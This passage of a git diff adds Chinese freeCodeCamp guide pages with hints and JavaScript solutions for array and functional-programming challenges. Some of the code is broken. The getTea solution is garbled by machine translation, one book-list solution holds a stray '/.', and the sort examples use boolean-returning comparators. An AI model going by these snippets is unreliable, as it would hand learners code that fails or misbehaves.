+尝试将参数传递给函数并返回此参数的增加值。
+
+**提前解决！**
+
+## 基本代码解决方案
+
+```javascript
+// the global variable 
+ var fixedValue = 4; 
+ 
+ // Add your code below this line 
+ function incrementer (value) { 
+  return value + 1; 
+ 
+  // Add your code above this line 
+ } 
+ 
+ var newValue = incrementer(fixedValue); // Should equal 5 
+ console.log(fixedValue); // Should print 4 
+```
+
+### 方法
+
+此代码将提供与上一个挑战相同的结果，只是这次我们将`fixedValue`作为参数传递给函数。
\ No newline at end of file
diff --git a/client/src/guide/chinese/certifications/javascript-algorithms-and-data-structures/functional-programming/refactor-global-variables-out-of-functions/index.md b/client/src/guide/chinese/certifications/javascript-algorithms-and-data-structures/functional-programming/refactor-global-variables-out-of-functions/index.md
new file mode 100644
index 0000000000..4ce462ef23
--- /dev/null
+++ b/client/src/guide/chinese/certifications/javascript-algorithms-and-data-structures/functional-programming/refactor-global-variables-out-of-functions/index.md
@@ -0,0 +1,46 @@
+---
+title: Refactor Global Variables Out of Functions
+localeTitle: 重构函数的全局变量
+---
+## 重构函数的全局变量
+
+*   如果您在更改bookList时遇到问题，请尝试在函数中使用该数组的副本。
+    
+*   这里有一些关于\[JavaScript如何处理函数参数\]的更多信息（https://codeburst.io/javascript-passing-by-value-vs- reference-explanation-in-plain-english-8d00fd06a47c）。
+    
+
+## ![:beginner:](https://forum.freecodecamp.com/images/emoji/emoji_one/beginner.png?v=3 "：初学者：")基本代码解决方案
+
+## 解决方案1
+
+```javascript
+function add (arr, bookName) { 
+  let newArr = [...arr];  // Copy the bookList array to a new array. 
+  newArr.push(bookName);  // Add bookName parameter to the end of the new array. 
+  return newArr; // Return the new array. 
+ } 
+ 
+ function remove (arr, bookName) { 
+  let newArr = [...arr];  // Copy the bookList array to a new array. 
+  if (newArr.indexOf(bookName) >= 0) {   // Check whether the bookName parameter is in new array. 
+    /. 
+    newArr.splice(newArr.indexOf(bookName), 1); // Remove the given paramater from the new array. 
+    return newArr; // Return the new array. 
+    } 
+ } 
+```
+
+## 解决方案2
+
+```javascript
+function add (list,bookName) { 
+  return [...list, bookName]; 
+ } 
+ 
+ function remove (list,bookName) { 
+  if (list.indexOf(bookName) >= 0) { 
+    return list.filter((item) => item !== bookName); 
+    } 
+ } 
+
+```
\ No newline at end of file
diff --git a/client/src/guide/chinese/certifications/javascript-algorithms-and-data-structures/functional-programming/remove-elements-from-an-array-using-slice-instead-of-splice/index.md b/client/src/guide/chinese/certifications/javascript-algorithms-and-data-structures/functional-programming/remove-elements-from-an-array-using-slice-instead-of-splice/index.md
new file mode 100644
index 0000000000..e8a102c4bf
--- /dev/null
+++ b/client/src/guide/chinese/certifications/javascript-algorithms-and-data-structures/functional-programming/remove-elements-from-an-array-using-slice-instead-of-splice/index.md
@@ -0,0 +1,24 @@
+---
+title: Remove Elements from an Array Using slice Instead of splice
+localeTitle: 使用切片从阵列中删除元素而不是拼接
+---
+## 使用切片从阵列中删除元素而不是拼接
+
+*   splice和slice方法之间的区别在于slice方法不会改变原始数组，而是返回一个新数组。
+*   slice方法需要2个参数才能使索引开始和结束切片（结束是非包含的）。
+*   如果您不想改变原始数组，可以使用切片方法。
+
+## 解
+
+```javascript
+function nonMutatingSplice(cities) { 
+  // Add your code below this line 
+ 
+  return cities.slice(0, 3); 
+ 
+  // Add your code above this line 
+ } 
+ var inputCities = ["Chicago", "Delhi", "Islamabad", "London", "Berlin"]; 
+ nonMutatingSplice(inputCities); 
+
+```
\ No newline at end of file
diff --git a/client/src/guide/chinese/certifications/javascript-algorithms-and-data-structures/functional-programming/return-a-sorted-array-without-changing-the-original-array/index.md b/client/src/guide/chinese/certifications/javascript-algorithms-and-data-structures/functional-programming/return-a-sorted-array-without-changing-the-original-array/index.md
new file mode 100644
index 0000000000..b8dff0283b
--- /dev/null
+++ b/client/src/guide/chinese/certifications/javascript-algorithms-and-data-structures/functional-programming/return-a-sorted-array-without-changing-the-original-array/index.md
@@ -0,0 +1,24 @@
+---
+title: Return a Sorted Array Without Changing the Original Array
+localeTitle: 返回排序数组而不更改原始数组
+---
+## 返回排序数组而不更改原始数组
+
+### 方法
+
+首先将作为参数的数组连接到新的空数组。然后使用上一个挑战中所见的`sort()`方法，并创建一个函数以按升序对新数组进行排序。
+
+### 解
+
+```javascript
+var globalArray = [5, 6, 3, 2, 9]; 
+ function nonMutatingSort(arr) { 
+  // Add your code below this line 
+  return [].concat(arr).sort(function(a, b) { 
+    return a - b; 
+  }); 
+  // Add your code above this line 
+ } 
+ nonMutatingSort(globalArray); 
+
+```
\ No newline at end of file
diff --git a/client/src/guide/chinese/certifications/javascript-algorithms-and-data-structures/functional-programming/return-part-of-an-array-using-the-slice-method/index.md b/client/src/guide/chinese/certifications/javascript-algorithms-and-data-structures/functional-programming/return-part-of-an-array-using-the-slice-method/index.md
new file mode 100644
index 0000000000..945dab9d3a
--- /dev/null
+++ b/client/src/guide/chinese/certifications/javascript-algorithms-and-data-structures/functional-programming/return-part-of-an-array-using-the-slice-method/index.md
@@ -0,0 +1,34 @@
+---
+title: Return Part of an Array Using the slice Method
+localeTitle: 使用切片方法返回数组的一部分
+---
+## 使用切片方法返回数组的一部分
+
+### 问题解释
+
+在给定提供的beginSlice和endSlice索引的情况下，使用sliceArray函数中的slice方法返回anim数组的一部分。该函数应返回一个数组。
+
+### 方法
+
+只需编写一行代码即返回语句即可编写该函数。就像在给出的示例中一样，使用`beginSlice`和`endSlice`参数作为`slice()`方法的参数，将函数作为参数的数组`slice()` 。 记住`slice()`方法的结构：
+
+```javascript
+var arr = ["Cat", "Dog", "Tiger", "Zebra", "Ant"]; 
+ arr.slice([index-to-begin-slice] , [index-to-end-slice]); 
+```
+
+### 解
+
+```javascript
+function sliceArray(anim, beginSlice, endSlice) { 
+  // Add your code below this line 
+  return anim.slice(beginSlice, endSlice); 
+  // Add your code above this line 
+ } 
+ var inputAnim = ["Cat", "Dog", "Tiger", "Zebra", "Ant"]; 
+ sliceArray(inputAnim, 1, 3); 
+```
+
+#### 相关链接：
+
+*   [Array.prototype.slice（）](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Array/slice)
\ No newline at end of file
diff --git a/client/src/guide/chinese/certifications/javascript-algorithms-and-data-structures/functional-programming/sort-an-array-alphabetically-using-the-sort-method/index.md b/client/src/guide/chinese/certifications/javascript-algorithms-and-data-structures/functional-programming/sort-an-array-alphabetically-using-the-sort-method/index.md
new file mode 100644
index 0000000000..517bbbdb0a
--- /dev/null
+++ b/client/src/guide/chinese/certifications/javascript-algorithms-and-data-structures/functional-programming/sort-an-array-alphabetically-using-the-sort-method/index.md
@@ -0,0 +1,35 @@
+---
+title: Sort an Array Alphabetically using the sort Method
+localeTitle: 使用sort方法按字母顺序对数组进行排序
+---
+## 使用sort方法按字母顺序对数组进行排序
+
+### 方法
+
+在给出的示例中，我们看到如何编写一个函数，该函数将以反向字母顺序返回一个新数组。
+
+```javascript
+function reverseAlpha(arr) { 
+  return arr.sort(function(a, b) { 
+    return a < b; 
+  }); 
+ } 
+ reverseAlpha(['l', 'h', 'z', 'b', 's']); 
+ // Returns ['z', 's', 'l', 'h', 'b'] 
+```
+
+使用此逻辑，只需对函数进行反向工程，即可按字母顺序返回新数组。
+
+### 解
+
+```javascript
+function alphabeticalOrder(arr) { 
+  // Add your code below this line 
+  return arr.sort(function(a,b) { 
+    return a > b; 
+  }); 
+  // Add your code above this line 
+ } 
+ alphabeticalOrder(["a", "d", "c", "a", "z", "g"]); 
+
+```
\ No newline at end of file
diff --git a/client/src/guide/chinese/certifications/javascript-algorithms-and-data-structures/functional-programming/split-a-string-into-an-array-using-the-split-method/index.md b/client/src/guide/chinese/certifications/javascript-algorithms-and-data-structures/functional-programming/split-a-string-into-an-array-using-the-split-method/index.md
new file mode 100644
index 0000000000..55fb1e2015
--- /dev/null
+++ b/client/src/guide/chinese/certifications/javascript-algorithms-and-data-structures/functional-programming/split-a-string-into-an-array-using-the-split-method/index.md
@@ -0,0 +1,23 @@
+---
+title: Split a String into an Array Using the split Method
+localeTitle: 使用split方法将字符串拆分为数组
+---
+## 使用split方法将字符串拆分为数组
+
+### 方法
+
+只需拆分字符串即可创建一个新的单词数组。
+
+可以使用简单的正则表达式来实现此结果。
+
+### 解
+
+```javascript
+function splitify(str) { 
+  // Add your code below this line 
+  return str.split(/\W/); 
+  // Add your code above this line 
+ } 
+ splitify("Hello World,I-am code"); 
+
+```
\ No newline at end of file
diff --git a/client/src/guide/chinese/certifications/javascript-algorithms-and-data-structures/functional-programming/understand-functional-programming-terminology/index.md b/client/src/guide/chinese/certifications/javascript-algorithms-and-data-structures/functional-programming/understand-functional-programming-terminology/index.md
new file mode 100644
index 0000000000..0fb33ec0ab
--- /dev/null
+++ b/client/src/guide/chinese/certifications/javascript-algorithms-and-data-structures/functional-programming/understand-functional-programming-terminology/index.md
@@ -0,0 +1,51 @@
+---
+title: Understand Functional Programming Terminology
+localeTitle: 理解功能编程术语
+---
+## 理解功能编程术语
+
+### 方法
+
+就像在上一次挑战中一样，您必须调用`getTea`方法并将其存储在变量中。只有这一次，你有2个变量来存储2个单独的数据集。你会看到`getTea()`函数和以前一样，只是现在它需要2个单独的参数。第一个参数是一个函数，因此我们需要传入`prepareGreenTea()`函数或`prepareBlackTea()`函数，然后`numOfCups`第二个参数`numOfCups` ，它可以作为整数输入。
+
+### 解
+
+在本练习中，我们将更高阶函数的结果分配给变量。为此，我们使用回调函数作为参数调用函数。
+
+## 暗示：
+
+`javascript const basketOne = makeBasket(addFruit, 10)`
+
+##解决方案：
+
+\`\`\`的JavaScript
+
+/ \*\*
+
+*   一个很长的准备绿茶的过程。
+*   @return {string}一杯绿茶。 \*\* / const prepareGreenTea =（）=>'greenTea';
+
+/ \*\*
+
+*   获得一定数量的茶。
+    
+*   @param {function（）：string} prepareTea茶的准备功能。
+    
+*   @param {number} numOfCups所需的茶杯数量。
+    
+*   @return {Array 给定量的茶杯。 \*\* / const getTea =（prepareTea，numOfCups）=> { const teaCups = \[\];
+    
+    for（let cups = 1; cups <= numOfCups; cups + = 1）{ const teaCup = prepareTea（）; teaCups.push（茶杯）; }
+    
+    回归茶杯; };
+    
+    //在此行下方添加代码 const tea4GreenTeamFCC = getTea（prepareGreenTea，27）; // :) const tea4BlackTeamFCC = getTea（prepareBlackTea，13）; // :) //在此行上方添加代码
+    
+    的console.log（ tea4GreenTeamFCC， tea4BlackTeamFCC ）;
+    
+    \`\`\`
+    
+
+## 代码说明：
+
+在上面的解决方案中，我们将函数`prepareGreenTea()`和`prepareBlackTea()`作为参数或回调函数传递给`getTea()`函数，这些函数被分配给我们的两个常量变量`tea4BlackTeamFCC` 和`tea4GreenTeamFCC` 。 这样就不会改变全局变量，并且我们可以选择添加无限数量的`prepareTea()`方法的不同选项，因为它是一个传递给`getTea()`高阶函数的回调函数。
\ No newline at end of file
diff --git a/client/src/guide/chinese/certifications/javascript-algorithms-and-data-structures/functional-programming/understand-the-hazards-of-using-imperative-code/index.md b/client/src/guide/chinese/certifications/javascript-algorithms-and-data-structures/functional-programming/understand-the-hazards-of-using-imperative-code/index.md
new file mode 100644
index 0000000000..ea363e0964
--- /dev/null
+++ b/client/src/guide/chinese/certifications/javascript-algorithms-and-data-structures/functional-programming/understand-the-hazards-of-using-imperative-code/index.md
@@ -0,0 +1,9 @@
+---
+title: Understand the Hazards of Using Imperative Code
+localeTitle: 了解使用命令代码的危害
+---
+## 了解使用命令代码的危害
+
+这是一个存根。 [帮助我们的社区扩展它](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/javascript-algorithms-and-data-structures/functional-programming/understand-the-hazards-of-using-imperative-code/index.md) 。
+
+[这种快速风格指南有助于确保您的拉取请求被接受](https://github.com/freecodecamp/guides/blob/master/README.md) 。
\ No newline at end of file
diff --git a/client/src/guide/chinese/certifications/javascript-algorithms-and-data-structures/functional-programming/use-the-every-method-to-check-that-every-element-in-an-array-meets-a-criteria/index.md b/client/src/guide/chinese/certifications/javascript-algorithms-and-data-structures/functional-programming/use-the-every-method-to-check-that-every-element-in-an-array-meets-a-criteria/index.md
new file mode 100644
index 0000000000..f236d69cdf
--- /dev/null
+++ b/client/src/guide/chinese/certifications/javascript-algorithms-and-data-structures/functional-programming/use-the-every-method-to-check-that-every-element-in-an-array-meets-a-criteria/index.md
@@ -0,0 +1,43 @@
+---
+title: Use the every Method to Check that Every Element in an Array Meets a Criteria
+localeTitle: 使用every方法检查数组中的每个元素是否符合条件
+---
+## 使用every方法检查数组中的每个元素是否符合条件
+
+### 问题说明：
+
+使用`checkPositive`函数中的`every`方法检查`arr`每个元素是否为正数。该函数应返回一个布尔值。
+
+#### 相关链接：
+
+*   [Array.prototype.every（）](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Array/every)
+
+### 暗示
+
+不要忘记`return` 。
+
+## 解
+
+```javascript
+function checkPositive(arr) { 
+  // Add your code below this line 
+ 
+  return arr.every(val => val > 0); 
+  // Add your code above this line 
+ } 
+ checkPositive([1, 2, 3, -4, 5]); 
+```
+
+## 替代方案
+
+```javascript
+function checkPositive(arr) { 
+  // Add your code below this line 
+    return arr.every(function(value) { 
+        return value > 0; 
+    }); 
+  // Add your code above this line 
+ } 
+ checkPositive([1, 2, 3, -4, 5]); 
+
+```
\ No newline at end of file
diff --git a/client/src/guide/chinese/certifications/javascript-algorithms-and-data-structures/functional-programming/use-the-filter-method-to-extract-data-from-an-array/index.md b/client/src/guide/chinese/certifications/javascript-algorithms-and-data-structures/functional-programming/use-the-filter-method-to-extract-data-from-an-array/index.md
new file mode 100644
index 0000000000..71afcd25a6
--- /dev/null
+++ b/client/src/guide/chinese/certifications/javascript-algorithms-and-data-structures/functional-programming/use-the-filter-method-to-extract-data-from-an-array/index.md
@@ -0,0 +1,22 @@
+---
+title: Use the filter method to extract data from an array
+localeTitle: 使用filter方法从数组中提取数据
+---
+## 使用filter方法从数组中提取数据
+
+## ![:speech_balloon:](https://forum.freecodecamp.com/images/emoji/emoji_one/speech_balloon.png?v=3 "：speech_balloon：")提示：1
+
+这个挑战分两步解决。 首先，Array.prototype.filter用于过滤数组，因此它的元素具有imdbRating> 8.0。 之后，可以使用Array.prototype.map将输出整形为所需的格式。
+
+### 解
+
+```javascript
+// Add your code below this line 
+ 
+ var filteredList = watchList.map(function(e) { 
+  return {title: e["Title"], rating: e["imdbRating"]} 
+ }).filter((e) => e.rating >= 8); 
+ 
+ console.log(filteredList); 
+
+```
\ No newline at end of file
diff --git a/client/src/guide/chinese/certifications/javascript-algorithms-and-data-structures/functional-programming/use-the-map-method-to-extract-data-from-an-array/index.md b/client/src/guide/chinese/certifications/javascript-algorithms-and-data-structures/functional-programming/use-the-map-method-to-extract-data-from-an-array/index.md
new file mode 100644
index 0000000000..7bc1408916
--- /dev/null
+++ b/client/src/guide/chinese/certifications/javascript-algorithms-and-data-structures/functional-programming/use-the-map-method-to-extract-data-from-an-array/index.md
@@ -0,0 +1,27 @@
+---
+title: Use the map Method to Extract Data from an Array
+localeTitle: 使用映射方法从数组中提取数据
+---
+## 使用映射方法从数组中提取数据
+
+## ![:speech_balloon:](https://forum.freecodecamp.com/images/emoji/emoji_one/speech_balloon.png?v=3 "：speech_balloon：")提示：1
+
+array.prototype.map采用输入中的函数并返回一个数组。返回的数组包含由函数处理的元素。此函数将各个元素作为输入。
+
+## 扰流警报！
+
+![警告牌](//discourse-user-assets.s3.amazonaws.com/original/2X/2/2d6c412a50797771301e7ceabd554cef4edcd74d.gif)
+
+**提前解决！**
+
+## ![:rotating_light:](https://forum.freecodecamp.com/images/emoji/emoji_one/rotating_light.png?v=3 "：rotating_light：")中级代码解决方案：
+
+```javascript
+  rating = watchList.map( (item) => ({"title":item["Title"], "rating":item["imdbRating"]}) ); 
+```
+
+###代码说明： 使用ES6表示法，处理数组中的每个项目以提取标题和评级。 返回对象需要Parantheses。
+
+#### 相关链接
+
+*   [箭头功能](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Functions/Arrow_functions)
\ No newline at end of file
diff --git a/client/src/guide/chinese/certifications/javascript-algorithms-and-data-structures/functional-programming/use-the-reduce-method-to-analyze-data/index.md b/client/src/guide/chinese/certifications/javascript-algorithms-and-data-structures/functional-programming/use-the-reduce-method-to-analyze-data/index.md
new file mode 100644
index 0000000000..e04001a62f
--- /dev/null
+++ b/client/src/guide/chinese/certifications/javascript-algorithms-and-data-structures/functional-programming/use-the-reduce-method-to-analyze-data/index.md
@@ -0,0 +1,130 @@
+---
+title: Use the reduce Method to Analyze Data
+localeTitle: 使用reduce方法分析数据
+---
+## 使用reduce方法分析数据
+
+```javascript
+// the global variable 
+ var watchList = [ 
+                 { 
+                   "Title": "Inception", 
+                   "Year": "2010", 
+                   "Rated": "PG-13", 
+                   "Released": "16 Jul 2010", 
+                   "Runtime": "148 min", 
+                   "Genre": "Action, Adventure, Crime", 
+                   "Director": "Christopher Nolan", 
+                   "Writer": "Christopher Nolan", 
+                   "Actors": "Leonardo DiCaprio, Joseph Gordon-Levitt, Ellen Page, Tom Hardy", 
+                   "Plot": "A thief, who steals corporate secrets through use of dream-sharing technology, is given the inverse task of planting an idea into the mind of a CEO.", 
+                   "Language": "English, Japanese, French", 
+                   "Country": "USA, UK", 
+                   "Awards": "Won 4 Oscars. Another 143 wins & 198 nominations.", 
+                   "Poster": "http://ia.media-imdb.com/images/M/MV5BMjAxMzY3NjcxNF5BMl5BanBnXkFtZTcwNTI5OTM0Mw@@._V1_SX300.jpg", 
+                   "Metascore": "74", 
+                   "imdbRating": "8.8", 
+                   "imdbVotes": "1,446,708", 
+                   "imdbID": "tt1375666", 
+                   "Type": "movie", 
+                   "Response": "True" 
+                }, 
+                { 
+                   "Title": "Interstellar", 
+                   "Year": "2014", 
+                   "Rated": "PG-13", 
+                   "Released": "07 Nov 2014", 
+                   "Runtime": "169 min", 
+                   "Genre": "Adventure, Drama, Sci-Fi", 
+                   "Director": "Christopher Nolan", 
+                   "Writer": "Jonathan Nolan, Christopher Nolan", 
+                   "Actors": "Ellen Burstyn, Matthew McConaughey, Mackenzie Foy, John Lithgow", 
+                   "Plot": "A team of explorers travel through a wormhole in space in an attempt to ensure humanity's survival.", 
+                   "Language": "English", 
+                   "Country": "USA, UK", 
+                   "Awards": "Won 1 Oscar. Another 39 wins & 132 nominations.", 
+                   "Poster": "http://ia.media-imdb.com/images/M/MV5BMjIxNTU4MzY4MF5BMl5BanBnXkFtZTgwMzM4ODI3MjE@._V1_SX300.jpg", 
+                   "Metascore": "74", 
+                   "imdbRating": "8.6", 
+                   "imdbVotes": "910,366", 
+                   "imdbID": "tt0816692", 
+                   "Type": "movie", 
+                   "Response": "True" 
+                }, 
+                { 
+                   "Title": "The Dark Knight", 
+                   "Year": "2008", 
+                   "Rated": "PG-13", 
+                   "Released": "18 Jul 2008", 
+                   "Runtime": "152 min", 
+                   "Genre": "Action, Adventure, Crime", 
+                   "Director": "Christopher Nolan", 
+                   "Writer": "Jonathan Nolan (screenplay), Christopher Nolan (screenplay), Christopher Nolan (story), David S. Goyer (story), Bob Kane (characters)", 
+                   "Actors": "Christian Bale, Heath Ledger, Aaron Eckhart, Michael Caine", 
+                   "Plot": "When the menace known as the Joker wreaks havoc and chaos on the people of Gotham, the caped crusader must come to terms with one of the greatest psychological tests of his ability to fight injustice.", 
+                   "Language": "English, Mandarin", 
+                   "Country": "USA, UK", 
+                   "Awards": "Won 2 Oscars. Another 146 wins & 142 nominations.", 
+                   "Poster": "http://ia.media-imdb.com/images/M/MV5BMTMxNTMwODM0NF5BMl5BanBnXkFtZTcwODAyMTk2Mw@@._V1_SX300.jpg", 
+                   "Metascore": "82", 
+                   "imdbRating": "9.0", 
+                   "imdbVotes": "1,652,832", 
+                   "imdbID": "tt0468569", 
+                   "Type": "movie", 
+                   "Response": "True" 
+                }, 
+                { 
+                   "Title": "Batman Begins", 
+                   "Year": "2005", 
+                   "Rated": "PG-13", 
+                   "Released": "15 Jun 2005", 
+                   "Runtime": "140 min", 
+                   "Genre": "Action, Adventure", 
+                   "Director": "Christopher Nolan", 
+                   "Writer": "Bob Kane (characters), David S. Goyer (story), Christopher Nolan (screenplay), David S. Goyer (screenplay)", 
+                   "Actors": "Christian Bale, Michael Caine, Liam Neeson, Katie Holmes", 
+                   "Plot": "After training with his mentor, Batman begins his fight to free crime-ridden Gotham City from the corruption that Scarecrow and the League of Shadows have cast upon it.", 
+                   "Language": "English, Urdu, Mandarin", 
+                   "Country": "USA, UK", 
+                   "Awards": "Nominated for 1 Oscar. Another 15 wins & 66 nominations.", 
+                   "Poster": "http://ia.media-imdb.com/images/M/MV5BNTM3OTc0MzM2OV5BMl5BanBnXkFtZTYwNzUwMTI3._V1_SX300.jpg", 
+                   "Metascore": "70", 
+                   "imdbRating": "8.3", 
+                   "imdbVotes": "972,584", 
+                   "imdbID": "tt0372784", 
+                   "Type": "movie", 
+                   "Response": "True" 
+                }, 
+                { 
+                   "Title": "Avatar", 
+                   "Year": "2009", 
+                   "Rated": "PG-13", 
+                   "Released": "18 Dec 2009", 
+                   "Runtime": "162 min", 
+                   "Genre": "Action, Adventure, Fantasy", 
+                   "Director": "James Cameron", 
+                   "Writer": "James Cameron", 
+                   "Actors": "Sam Worthington, Zoe Saldana, Sigourney Weaver, Stephen Lang", 
+                   "Plot": "A paraplegic marine dispatched to the moon Pandora on a unique mission becomes torn between following his orders and protecting the world he feels is his home.", 
+                   "Language": "English, Spanish", 
+                   "Country": "USA, UK", 
+                   "Awards": "Won 3 Oscars. Another 80 wins & 121 nominations.", 
+                   "Poster": "http://ia.media-imdb.com/images/M/MV5BMTYwOTEwNjAzMl5BMl5BanBnXkFtZTcwODc5MTUwMw@@._V1_SX300.jpg", 
+                   "Metascore": "83", 
+                   "imdbRating": "7.9", 
+                   "imdbVotes": "876,575", 
+                   "imdbID": "tt0499549", 
+                   "Type": "movie", 
+                   "Response": "True" 
+                } 
+ ]; 
+ 
+ // Add your code below this line 
+ 
+ var averageRating = watchList.filter(x => x.Director === "Christopher Nolan").map(x => Number(x.imdbRating)).reduce((x1, x2) => x1 + x2) / watchList.filter(x => x.Director === "Christopher Nolan").length; 
+ 
+ // Add your code above this line 
+ 
+ console.log(averageRating); 
+
+```
\ No newline at end of file
diff --git a/client/src/guide/chinese/certifications/javascript-algorithms-and-data-structures/functional-programming/use-the-some-method-to-check-that-any-elements-in-an-array-meet-a-criteria/index.md b/client/src/guide/chinese/certifications/javascript-algorithms-and-data-structures/functional-programming/use-the-some-method-to-check-that-any-elements-in-an-array-meet-a-criteria/index.md
new file mode 100644
index 0000000000..88700125ab
--- /dev/null
+++ b/client/src/guide/chinese/certifications/javascript-algorithms-and-data-structures/functional-programming/use-the-some-method-to-check-that-any-elements-in-an-array-meet-a-criteria/index.md
@@ -0,0 +1,23 @@
+---
+title: Use the some Method to Check that Any Elements in an Array Meet a Criteria
+localeTitle: 使用某些方法检查阵列中的任何元素是否符合条件
+---
+## 使用某些方法检查阵列中的任何元素是否符合条件
+
+### 问题解释
+
+使用checkPositive函数中的some方法检查arr中的任何元素是否为正数。 `checkPositive`函数应返回一个布尔值。
+
+#### 相关链接：
+
+*   [Array.prototype.some（）](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Array/some)
+
+### 解：
+
+```javascript
+function checkPositive(arr) { 
+  return arr.some((elem) => elem > 0); 
+ } 
+ checkPositive([1, 2, 3, -4, 5]); 
+
+```
\ No newline at end of file
diff --git a/client/src/guide/chinese/certifications/javascript-algorithms-and-data-structures/index.md b/client/src/guide/chinese/certifications/javascript-algorithms-and-data-structures/index.md
new file mode 100644
index 0000000000..791ff1edd7
--- /dev/null
+++ b/client/src/guide/chinese/certifications/javascript-algorithms-and-data-structures/index.md
@@ -0,0 +1,11 @@
+---
+title: Javascript Algorithms and Data Structures
+localeTitle: Javascript算法和数据结构
+---
+## Javascript算法和数据结构
+
+这是一个存根。 [帮助我们的社区扩展它](https://github.com/freecodecamp/guides/tree/master/src/pages/mathematics/quadratic-equations/index.md) 。
+
+[这种快速风格指南有助于确保您的拉取请求被接受](https://github.com/freecodecamp/guides/blob/master/README.md) 。
+
+#### 更多信息：
\ No newline at end of file
diff --git a/client/src/guide/chinese/certifications/javascript-algorithms-and-data-structures/intermediate-algorithm-scripting/arguments-optional/index.md b/client/src/guide/chinese/certifications/javascript-algorithms-and-data-structures/intermediate-algorithm-scripting/arguments-optional/index.md
new file mode 100644
index 0000000000..6c65343119
--- /dev/null
+++ b/client/src/guide/chinese/certifications/javascript-algorithms-and-data-structures/intermediate-algorithm-scripting/arguments-optional/index.md
@@ -0,0 +1,215 @@
+---
+title: Arguments Optional
+localeTitle: 参数可选
+---
+![](//discourse-user-assets.s3.amazonaws.com/original/2X/f/ff2fd8ffa014eea28587a8ef4933340d3dcc4b09.jpg)
+
+![:triangular_flag_on_post:](https://forum.freecodecamp.com/images/emoji/emoji_one/triangular_flag_on_post.png?v=3 "：triangular_flag_on_post：")如果卡住，请记得使用**`Read-Search-Ask`** 。尝试配对程序![:busts_in_silhouette:](https://forum.freecodecamp.com/images/emoji/emoji_one/busts_in_silhouette.png?v=3 "：busts_in_silhouette：")并编写自己的代码![:pencil:](https://forum.freecodecamp.com/images/emoji/emoji_one/pencil.png?v=3 "：铅笔：")
+
+## ![:checkered_flag:](https://forum.freecodecamp.com/images/emoji/emoji_one/checkered_flag.png?v=3 "：checkered_flag：")问题说明：
+
+理解需要做什么可能会非常复杂。在编码时总是有很多方法可以做，但无论使用何种算法，我们都必须创建一个执行以下操作的程序：
+
+*   它必须添加两个作为参数传递的数字并返回总和。
+*   它必须检查是否有任何数字是实际数字，否则返回**undefined**并在那里停止程序。
+*   它必须检查它是否传递了一个或两个参数。更多被忽略。
+*   如果它只有一个参数，那么它必须返回一个使用该数字并期望另一个的函数，然后添加它。
+
+### 相关链接
+
+*   [数组](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Array)
+*   [类型](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Operators/typeof)
+*   [参数对象](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Functions/arguments)
+
+## ![:speech_balloon:](https://forum.freecodecamp.com/images/emoji/emoji_one/speech_balloon.png?v=3 "：speech_balloon：")提示：1
+
+每次处理参数时，都必须检查它是否为数字。为此，处理此任务的函数将为您保存重复的代码。
+
+> _现在尝试解决问题_
+
+## ![:speech_balloon:](https://forum.freecodecamp.com/images/emoji/emoji_one/speech_balloon.png?v=3 "：speech_balloon：")提示：2
+
+当处理它需要返回函数的情况时，最好再次检查第一个和唯一的参数是否为数字，并将代码作为基础。
+
+> _现在尝试解决问题_
+
+## ![:speech_balloon:](https://forum.freecodecamp.com/images/emoji/emoji_one/speech_balloon.png?v=3 "：speech_balloon：")提示：3
+
+在只传递了一个参数的情况下，不要担心如何提示输入第二个参数，只需正确定义函数定义，事情就会按照应有的方式运行。
+
+> _现在尝试解决问题_
+
+## 扰流警报！
+
+![警告牌](//discourse-user-assets.s3.amazonaws.com/original/2X/2/2d6c412a50797771301e7ceabd554cef4edcd74d.gif)
+
+**提前解决！**
+
+## ![:beginner:](https://forum.freecodecamp.com/images/emoji/emoji_one/beginner.png?v=3 "：初学者：")基本代码解决方案
+
+```javascript
+    function addTogether() { 
+      // Function to check if a number is actually a number 
+      // and return undefined otherwise. 
+      var checkNum = function(num) { 
+        if (typeof num !== 'number') { 
+          return undefined; 
+        } else 
+          return num; 
+      }; 
+ 
+      // Check if we have two parameters, check if they are numbers 
+      // handle the case where one is not 
+      // returns the addition. 
+      if (arguments.length > 1) { 
+        var a = checkNum(arguments[0]); 
+        var b = checkNum(arguments[1]); 
+        if (a === undefined || b === undefined) { 
+          return undefined; 
+        } else { 
+          return a + b; 
+        } 
+      } else { 
+        // If only one parameter was found, returns a new function that expects two 
+        // Store first argument before entering the new function scope 
+        var c = arguments[0]; 
+ 
+        // Check the number again, must be outside the function to about returning an object 
+        // instead of undefined. 
+        if (checkNum(c)) { 
+          // Return function that expect a second argument. 
+          return function(arg2) { 
+            // Check for non-numbers 
+            if (c === undefined || checkNum(arg2) === undefined) { 
+              return undefined; 
+            } else { 
+              // if numbers then add them. 
+              return c + arg2; 
+            } 
+          }; 
+        } 
+      } 
+    } 
+ 
+    // test here 
+    addTogether(2,3); 
+```
+
+![:rocket:](https://forum.freecodecamp.com/images/emoji/emoji_one/rocket.png?v=3 "：火箭：") [运行代码](https://repl.it/CLnz/0)
+
+### 代码说明：
+
+*   首先，我创建一个函数，其唯一目的是检查数字是否实际上是一个数字，如果不是则返回undefined。它使用**typeof**来检查。
+*   检查我们是否有两个参数，如果有，然后使用我创建的**checkNum**函数检查它们是否为数字。
+*   如果它们**未定义，**则添加它们并返回添加。如果它们中的任何一个未定义，则返回undefined。
+*   在我们只有一个参数的情况下，我们返回一个需要两个参数的新函数。为此，我们在进入新范围之前存储第一个参数，以避免我们的参数被覆盖。
+*   仍然在大的其他内部，我们需要检查我们保存的参数，如果它是一个数字，那么我们返回期望第二个参数的函数。
+*   现在在我们返回的函数内部，我们必须再次检查非数字，就像在开始时使用**checkNum一样，**如果未定义则返回，否则如果数字添加它们并返回添加。
+
+#### 相关链接
+
+*   [类型](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Operators/typeof)
+*   [参数对象](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Functions/arguments)
+
+## ![:sunflower:](https://forum.freecodecamp.com/images/emoji/emoji_one/sunflower.png?v=3 "：向日葵：")中级代码解决方案：
+
+```javascript
+    function addTogether() { 
+      var args = new Array(arguments.length); 
+      //Storing the arguments in an array 
